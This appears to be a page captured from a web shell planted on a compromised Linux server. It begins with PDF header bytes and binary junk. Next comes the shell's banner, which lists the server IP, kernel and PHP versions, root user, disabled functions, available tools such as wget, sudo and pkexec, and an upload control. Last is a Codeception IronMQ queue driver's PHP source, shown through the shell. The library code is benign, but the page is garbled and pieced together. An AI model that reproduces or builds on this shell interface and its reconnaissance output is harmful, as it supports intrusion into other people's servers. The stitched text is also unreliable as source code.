%PDF-1.5 %���� ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµùÕ5sLOšuY
Server IP : 49.231.201.246 / Your IP : 216.73.216.149 Web Server : Apache/2.4.18 (Ubuntu) System : Linux 246 4.4.0-210-generic #242-Ubuntu SMP Fri Apr 16 09:57:56 UTC 2021 x86_64 User : root ( 0) PHP Version : 7.0.33-0ubuntu0.16.04.16 Disable Function : exec,passthru,shell_exec,system,proc_open,popen,pcntl_exec MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON | Sudo : ON | Pkexec : ON Directory : /proc/11585/cwd/html/ppaobm/vendor/codeception/base/src/Codeception/Lib/Driver/ |
Upload File : |
<?php namespace Codeception\Lib\Driver; use Codeception\Lib\Interfaces\Queue; class Iron implements Queue { /** * @var \IronMQ */ protected $queue; /** * Connect to the queueing server. (AWS, Iron.io and Beanstalkd) * @param array $config * @return */ public function openConnection($config) { $this->queue = new \IronMQ([ "token" => $config['token'], "project_id" => $config['project'], "host" => $config['host'] ]); if (!$this->queue) { \PHPUnit\Framework\Assert::fail('connection failed or timed-out.'); } } /** * Post/Put a message on to the queue server * * @param string $message Message Body to be send * @param string $queue Queue Name */ public function addMessageToQueue($message, $queue) { $this->queue->postMessage($queue, $message); } /** * Return a list of queues/tubes on the queueing server * * @return array Array of Queues */ public function getQueues() { // Format the output to suit $queues = []; foreach ($this->queue->getQueues() as $queue) { $queues[] = $queue->name; } return $queues; } /** * Count the current number of messages on the queue. * * @param $queue Queue Name * * @return int Count */ public function getMessagesCurrentCountOnQueue($queue) { try { return $this->queue->getQueue($queue)->size; } catch (\Http_Exception $ex) { \PHPUnit\Framework\Assert::fail("queue [$queue] not found"); } } /** * Count the total number of messages on the queue. * * @param $queue Queue Name * * @return int Count */ public function getMessagesTotalCountOnQueue($queue) { try { return $this->queue->getQueue($queue)->total_messages; } catch (\Http_Exception $e) { \PHPUnit\Framework\Assert::fail("queue [$queue] not found"); } } public function clearQueue($queue) { try { $this->queue->clearQueue($queue); } catch (\Http_Exception $ex) { \PHPUnit\Framework\Assert::fail("queue [$queue] not found"); } } public function getRequiredConfig() { return ['host', 'token', 'project']; } public function getDefaultConfig() { return []; } }